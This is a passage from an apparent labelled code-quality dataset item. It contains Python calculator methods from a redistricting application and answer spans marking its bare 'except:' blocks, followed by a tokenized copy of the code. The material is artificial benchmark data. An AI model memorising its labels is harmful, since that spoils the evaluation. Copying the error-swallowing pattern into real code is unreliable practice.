kwargs['plan']\n version = kwargs['version'] if 'version' in kwargs else plan.version\n districts = plan.get_districts_at_version(version, include_geom=False)\n num = 0\n den = 0\n for district in districts:\n if district.district_id == 0:\n continue\n\n tmpnum = self.get_value('numerator',district)\n tmpden = self.get_value('denominator',district)\n\n # If either the numerator or denominator don't exist,\n # we have to skip it.\n if tmpnum is None or tmpden is None:\n continue\n\n den += tmpden\n num += tmpnum\n\n else:\n return\n\n if num is None or den is None or den == 0:\n return\n \n try:\n self.result = { 'value': num / den }\n except:\n # TODO: temporary fix\n if den['value'] == 0:\n self.result = { 'value': 0 }\n else:\n self.result = { 'value': num / den['value'] }", "metadata": "root.Percent.compute", "header": "['class', 'Percent', '(', 'CalculatorBase', ')', ':', '___EOS___']", "index": 801 }, { "content": " def compute(self, **kwargs):\n \"\"\"\n Determine if a district is contiguous.\n\n @keyword district: A L{District} whose contiguity should be \n evaluated.\n @keyword plan: A L{Plan} whose set of districts should be \n evaluated for contiguity.\n @keyword version: Optional. The version of the plan, defaults to \n the most recent version.\n \"\"\"\n districts = []\n\n if 'district' in kwargs:\n districts = [kwargs['district']]\n\n elif 'plan' in kwargs:\n plan = kwargs['plan']\n version = kwargs['version'] if 'version' in kwargs else plan.version\n districts = plan.get_districts_at_version(version, include_geom=True)\n\n else:\n return\n\n if 'allow_single_point' in self.arg_dict:\n allow_single = int(self.arg_dict['allow_single_point'][1]) == 1\n else:\n allow_single = False\n\n count = 0\n for district in districts:\n if len(district.geom) == 1 and district.district_id != 0:\n count += 1\n else:\n if district.district_id == 0:\n # for plan summations of contiguity, ignore the unassigned in the tally\n if 'plan' in kwargs:\n continue\n elif len(district.geom) == 1:\n count += 1\n continue\n\n # if the district has no geometry, i.e. an empty unassigned district,\n # treat it as contiguous\n if len(district.geom) == 0:\n count += 1\n continue\n \n # obtain the contiguity overrides that need to be applied\n overrides = district.get_contiguity_overrides()\n\n if allow_single or len(overrides) > 0:\n # create a running union of of polygons that are linked, seeded with the first.\n # loop through remaining polygons and add any that either touch the union,\n # or do so virtually with a contiguity override. repeat until either:\n # - the remaining list is empty: contiguous\n # - no matches were found in a pass: discontiguous\n union = district.geom[0]\n remaining = district.geom[1:]\n contiguous = True\n \n while (len(remaining) > 0):\n if len(district.geom) == 0:\n continue\n\n match_in_pass = False\n for geom in remaining:\n linked = False\n if allow_single and geom.touches(union):\n linked = True\n else:\n for override in overrides:\n o = override.override_geounit.geom\n c = override.connect_to_geounit.geom\n if (geom.contains(o) and union.contains(c)) or (geom.contains(c) and union.contains(o)):\n linked = True\n overrides.remove(override)\n break\n\n if linked:\n remaining.remove(geom)\n union = geom.union(union)\n match_in_pass = True\n \n if not match_in_pass:\n contiguous = False\n break\n \n if contiguous:\n count += 1\n\n self.result = { 'value': count }\n try:\n target = self.get_value('target')\n if target != None:\n self.result = { 'value':_('%(value)d (of %(target)s)') % {'value': count, 'target': target} }\n except:\n pass", "metadata": "root.Contiguity.compute", "header": "['class', 'Contiguity', '(', 'CalculatorBase', ')', ':', '___EOS___']", "index": 1030 }, { "content": " def compute(self, **kwargs):\n \"\"\"\n Compute the number of districts in a plan that are non-contiguous.\n\n @keyword plan: A L{Plan} whose set of districts should be \n evaluated for contiguity.\n @keyword version: Optional. The version of the plan, defaults to \n the most recent version.\n \"\"\"\n if not 'plan' in kwargs:\n return\n\n plan = kwargs['plan']\n version = kwargs['version'] if 'version' in kwargs else plan.version\n districts = plan.get_districts_at_version(version, include_geom=False)\n\n calc = Contiguity()\n calc.compute(**kwargs)\n\n count = len(districts) - calc.result\n\n try:\n target = self.get_value('target')\n if target != None:\n self.result = { 'value':_('%(value)d (of %(target)s)') % {'value': count, 'target': target} }\n except:\n self.result = { 'value': count }", "metadata": "root.NonContiguous.compute", "header": "['class', 'NonContiguous', '(', 'CalculatorBase', ')', ':', '___EOS___']", "index": 1191 }, { "content": " def compute(self, **kwargs):\n \"\"\"\n Compute the competitiveness.\n\n @keyword plan: A L{Plan} whose set of districts should be \n evaluated for competitiveness.\n @keyword version: Optional. The version of the plan, defaults to \n the most recent version.\n \"\"\"\n if not 'plan' in kwargs:\n return\n\n plan = kwargs['plan']\n version = kwargs['version'] if 'version' in kwargs else plan.version\n districts = plan.get_districts_at_version(version, include_geom=False)\n try:\n difference = float(self.get_value('range'))\n low = .5 - difference\n high = .5 + difference\n except:\n low = .45\n high = .55\n\n \n fair = 0\n for district in districts:\n if district.district_id == 0:\n continue\n\n tmpdem = self.get_value('democratic',district)\n tmprep = self.get_value('republican',district)\n\n if tmpdem is None or tmprep is None:\n continue\n\n dem = float(tmpdem)\n rep = float(tmprep)\n\n if dem == 0.0 and rep == 0.0:\n continue\n\n pidx = dem / (dem + rep)\n if pidx > low and pidx < high:\n fair += 1\n\n self.result = { 'value': fair }", "metadata": "root.Competitiveness.compute", "header": "['class', 'Competitiveness', '(', 'CalculatorBase', ')', ':', '___EOS___']", "index": 1541 }, { "content": " def compute(self, **kwargs):\n \"\"\"\n Determine if all the districts in a plan fall within a target\n range.\n\n @keyword plan: A L{Plan} whose set of districts should be \n evaluated for equipopulation.\n @keyword version: Optional. The version of the plan, defaults to \n the most recent version.\n @keyword target: Optional. The target number of districts to report\n in the HTML output.\n @keyword validation: Optional. Change the output of the calculator \n to a boolean measure for plan validity.\n \"\"\"\n if not 'plan' in kwargs:\n return\n\n plan = kwargs['plan']\n\n inrange = Range()\n inrange.arg_dict = self.arg_dict\n inrange.compute(**kwargs)\n\n version = kwargs['version'] if 'version' in kwargs else plan.version\n districts = plan.get_districts_at_version(version, include_geom=False)\n\n try:\n target = self.get_value('target')\n validation = self.get_value('validation')\n if validation != None:\n # ALL PLANS include 1 district named \"Unassigned\", which\n # should never be at the target.\n \n self.result = { 'value': inrange.result['value'] == (len(districts) - 1) }\n elif target != None:\n self.result = { 'value':_('%(value)d (of %(target)s)') % {'value': inrange.result['value'], 'target': target} }\n else:\n self.result = inrange.result\n except:\n self.result = inrange.result", "metadata": "root.Equipopulation.compute", "header": "['class', 'Equipopulation', '(', 'CalculatorBase', ')', ':', '___EOS___']", "index": 1673 }, { "content": " def compute(self, **kwargs):\n \"\"\"\n Determine if the requisite number of districts in a plan have a \n majority of minority population. \n\n @keyword plan: A L{Plan} whose set of districts should be \n evaluated for majority minority compliance.\n @keyword version: Optional. The version of the plan, defaults to\n the most recent version.\n @keyword population: The primary population subject.\n @keyword minorityN: The minorty population subjects. Numbering \n starts at 1, and must be continuous.\n @keyword threshold: Optional. The ratio of all minorityN \n populations to the population subject when 'majority' is \n achieved. Defaults to 0.5.\n @keyword target: Optional. The number of districts required to be \n valid.\n @keyword validation: Optional. Change the output of the calculator\n to a boolean measure for plan validity.\n \"\"\"\n if not 'plan' in kwargs:\n return\n\n plan = kwargs['plan']\n version = kwargs['version'] if 'version' in kwargs else plan.version\n districts = plan.get_districts_at_version(version, include_geom=False)\n\n if 'apply_num_members' in self.arg_dict:\n apply_num_members = int(self.arg_dict['apply_num_members'][1]) == 1\n else:\n apply_num_members = False\n\n districtcount = 0\n for district in districts:\n pop = self.get_value('population', district)\n\n if pop is None:\n continue\n\n den = float(pop)\n argnum = 1\n exceeds = False\n while ('minority%d'%argnum) in self.arg_dict:\n minor = self.get_value('minority%d'%argnum, district)\n argnum += 1\n\n if minor is None:\n continue\n \n num = float(minor)\n\n try:\n threshold = float(self.get_value('threshold', district))\n except:\n threshold = 0.5\n\n if den != 0 and num / den > threshold:\n exceeds = True\n break\n\n if exceeds:\n if apply_num_members:\n districtcount += district.num_members\n else:\n districtcount += 1\n\n self.result = { 'value': districtcount }\n\n try:\n target = self.get_value('target')\n validation = self.get_value('validation')\n if validation != None:\n self.result = { 'value': districtcount >= Decimal(validation) }\n elif target != None:\n self.result = { 'value':_('%(value)d (of %(target)s)') % {'value': districtcount, 'target': target} }\n except:\n pass", "metadata": "root.MajorityMinority.compute", "header": "['class', 'MajorityMinority', '(', 'CalculatorBase', ')', ':', '___EOS___']", "index": 1739 }, { "content": " def compute(self, **kwargs):\n \"\"\"\n Count the number of community types which intersect a district.\n\n @keyword district: The L{District} to compare against the community\n map.\n @keyword community_map_id: The ID of the community map.\n @keyword version: Optional. The version of the community map. \n Defaults to the latest version of the community map.\n \"\"\"\n if 'district' in kwargs:\n district = kwargs['district']\n else:\n return\n\n version = None\n if 'version' in kwargs:\n version = kwargs['version']\n\n self.result = { 'value': _('n/a') }\n if 'community_map_id' in kwargs:\n try:\n self.result = { 'value': district.count_community_type_union(kwargs['community_map_id'], version=version) }\n except:\n pass", "metadata": "root.CommunityTypeCounter.compute", "header": "['class', 'CommunityTypeCounter', '(', 'CalculatorBase', ')', ':', '___EOS___']", "index": 2029 } ]
[ { "span": "except:", "start_line": 188, "start_column": 8, "end_line": 188, "end_column": 15 }, { "span": "except:", "start_line": 200, "start_column": 16, "end_line": 200, "end_column": 23 }, { "span": "except:", "start_line": 348, "start_column": 8, "end_line": 348, "end_column": 15 }, { "span": "except:", "start_line": 849, "start_column": 8, "end_line": 849, "end_column": 15 }, { "span": "except:", "start_line": 1126, "start_column": 8, "end_line": 1126, "end_column": 15 }, { "span": "except:", "start_line": 1216, "start_column": 8, "end_line": 1216, "end_column": 15 }, { "span": "except:", "start_line": 1560, "start_column": 8, "end_line": 1560, "end_column": 15 }, { "span": "except:", "start_line": 1711, "start_column": 8, "end_line": 1711, "end_column": 15 }, { "span": "except:", "start_line": 1792, "start_column": 16, "end_line": 1792, "end_column": 23 }, { "span": "except:", "start_line": 1814, "start_column": 8, "end_line": 1814, "end_column": 15 }, { "span": "except:", "start_line": 2052, "start_column": 12, "end_line": 2052, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Calculat", "or", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "value_", "(_", "self_", ",_", "argument_", ",_", "district_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "the", " ", "value", " ", "of", " ", "an", " ", "argu", "ment", " ", "if", " ", "it", " ", "is", " ", "a", " ", "literal", " ", "or", " ", "a", " ", "subject", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "is", " ", "used", " ", "anyt", "ime", " ", "a", " ", "calculator", " ", "need", "s", " ", "to", " ", "get", " ", "the", " ", "value", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "named", " ", "argu", "ment", ".", " ", "The", " ", "type", " ", "of", " ", "the", " ", "argu", "ment", " ", "is", " ", "dete", "rmin", "ed", " ", "from", " ", "the", " ", "\\", "10", ";", " ", " ", " ", " ", "tuple", " ", "in", " ", "the", " ", "argu", "ment", " ", "dictionar", "y", ",", " ", "and", " ", "eit", "her", " ", "the", " ", "literal", " ", "value", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "retrieved", " ", "Computed", "Characteristic", " ", "is", " ", "return", "ed", ".", " ", "Thi", "s", " ", "only", " ", "searche", "s", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "the", " ", "Computed", "Characteristic", " ", "in", " ", "the", " ", "set", " ", "attache", "d", " ", "to", " ", "the", " ", "district", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "no", " ", "district", " ", "is", " ", "provided", ",", " ", "no", " ", "subject", " ", "argu", "ment", " ", "value", " ", "is", " ", "ever", " ", "\\", "10", ";", " ", " ", " ", " ", "return", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "argu", "ment", ":", " ", "The", " ", "name", " ", "of", " ", "the", " ", "argu", "ment", " ", "pass", "ed", " ", "to", " ", "the", " ", "calculator", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "district", ":", " ", "An", " ", "option", "al", " ", "district", ",", " ", "used", " ", "to", " ", "fetch", " ", "relate", "d", " ", "\\", "10", ";", " ", " ", " ", " ", "Computed", "Characteristic", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "The", " ", "value", " ", "of", " ", "the", " ", "subject", " ", "or", " ", "literal", " ", "argu", "ment", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "arg", "type_", ",_", "argv", "al_", ")_", "=_", "self_", "._", "arg", "\\u", "dict_", "[_", "argument_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "value_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "arg", "type_", "==_", "'", "literal", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "argv", "al_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "argv", "al_", ",_", "dict_", ")_", "and_", "'", "value", "'_", "in_", "argv", "al_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "Decimal_", "(_", "argv", "al_", "[_", "'", "value", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "our", " ", "literal", " ", "is", " ", "a", " ", "number", ",", " ", "make", " ", "it", " ", "a", " ", "decima", "l", " ", "to", " ", "match", " ", "models_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "Decimal_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "problem", ",", " ", "it", " ", "may", " ", "be", " ", "a", " ", "string_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "arg", "type_", "==_", "'", "subject", "'_", "and_", "not_", "district_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "method", " ", "is", " ", "more", " ", "fault", " ", "tolera", "nt", " ", "than", " ", "\\u", "set", ".", "get", ",", " ", "sinc", "e", " ", "it", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "won", "'", "t", " ", "throw", " ", "an", " ", "exception", " ", "if", " ", "the", " ", "item", " ", "doe", "sn", "'", "t", " ", "exist", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "\\u", "subject_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "argv", "al_", "._", "startswith_", "(_", "'-'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "\\u", "subject_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "argv", "al_", "=_", "argv", "al_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cc_", "=_", "district_", "._", "compute", "dch", "ara", "cte", "ris", "tic", "\\u", "set_", "._", "filter_", "(_", "subject", "\\u\\u", "name_", "=_", "argv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cc_", "._", "count_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "cc_", "[_", "0_", "]_", "._", "number_", "if_", "add", "\\u", "subject_", "else_", "-_", "cc_", "[_", "0_", "]_", "._", "number_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ro", "eck", "_", "(_", "Calculat", "or", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "compute_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Calculat", "e", " ", "the", " ", "Ro", "eck", " ", "measure", " ", "of", " ", "compact", "ness", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "district", ":", " ", "A", " ", "L", "{", "Distr", "ict", "}", " ", "who", "se", " ", "compact", "ness", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "compute", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "plan", ":", " ", "A", " ", "L", "{", "Plan", "}", " ", "who", "se", " ", "district", " ", "compact", "ness", "es", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "averaged", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "version", ":", " ", "Optio", "nal", ".", " ", "The", " ", "version", " ", "of", " ", "the", " ", "plan", ",", " ", "default", "s", " ", "to", " ", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "most", " ", "recent", " ", "version", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "random_", "._", "seed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "district", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "district", "s_", "=_", "[_", "kwargs_", "[_", "'", "district", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "district", "s_", "[_", "0_", "]_", "._", "geom_", "._", "empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "plan", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plan_", "=_", "kwargs_", "[_", "'", "plan", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "kwargs_", "[_", "'", "version", "'_", "]_", "if_", "'", "version", "'_", "in_", "kwargs_", "else_", "plan_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "plan_", "._", "get", "\\u", "district", "s", "\\u", "at", "\\u", "version_", "(_", "version_", ",_", "include", "\\u", "geom_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compact", "ness_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "district_", "in_", "district", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "district_", "._", "district", "\\u", "id_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "district_", "._", "geom_", "._", "empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Convert", " ", "the", " ", "coordinate", "s", " ", "in", " ", "the", " ", "convex", " ", "hull", " ", "to", " ", "a", " ", "list", " ", "of", " ", "GEO", "S", " ", "Points_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hull", "_", "=_", "map_", "(_", "lambda_", "x_", ":_", "Point_", "(_", "x_", "[_", "0_", "]_", ",_", "x_", "[_", "1_", "]_", ")_", ",_", "list_", "(_", "district_", "._", "geom_", "._", "convex", "\\u", "hull", "_", "._", "coords_", "[_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "disk_", "=_", "self_", "._", "mini", "disk_", "(_", "hull", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cir", "\\u", "area_", "=_", "pi_", "*_", "disk_", "._", "r_", "*_", "disk_", "._", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "compact", "ness_", "+=_", "district_", "._", "geom_", "._", "area_", "/_", "cir", "\\u", "area_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "compact", "ness_", "/_", "num_", "if_", "num_", ">_", "0_", "else_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "\\u_", "(_", "'", "n", "/", "a", "'_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Percent_", "(_", "Calculat", "or", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "compute_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Calculat", "e", " ", "a", " ", "percentage", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "district", ":", " ", "A", " ", "L", "{", "Distr", "ict", "}", " ", "who", "se", " ", "percentage", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "calculated", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "plan", ":", " ", "A", " ", "L", "{", "Plan", "}", " ", "who", "se", " ", "set", " ", "of", " ", "district", "s", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "calculated", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "version", ":", " ", "Optio", "nal", ".", " ", "The", " ", "version", " ", "of", " ", "the", " ", "plan", ",", " ", "default", "s", " ", "to", " ", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "most", " ", "recent", " ", "version", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "district", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "district_", "=_", "kwargs_", "[_", "'", "district", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "numerat", "or", "'_", ",_", "district_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "den_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "denominator", "'_", ",_", "district_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "plan", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plan_", "=_", "kwargs_", "[_", "'", "plan", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "kwargs_", "[_", "'", "version", "'_", "]_", "if_", "'", "version", "'_", "in_", "kwargs_", "else_", "plan_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "plan_", "._", "get", "\\u", "district", "s", "\\u", "at", "\\u", "version_", "(_", "version_", ",_", "include", "\\u", "geom_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "den_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "district_", "in_", "district", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "district_", "._", "district", "\\u", "id_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tmp", "num_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "numerat", "or", "'_", ",_", "district_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "den_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "denominator", "'_", ",_", "district_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "eit", "her", " ", "the", " ", "numerat", "or", " ", "or", " ", "denominator", " ", "don", "'", "t", " ", "exist", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "have", " ", "to", " ", "skip", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "tmp", "num_", "is_", "None_", "or_", "tmp", "den_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "den_", "+=_", "tmp", "den_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num_", "+=_", "tmp", "num_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "num_", "is_", "None_", "or_", "den_", "is_", "None_", "or_", "den_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "num_", 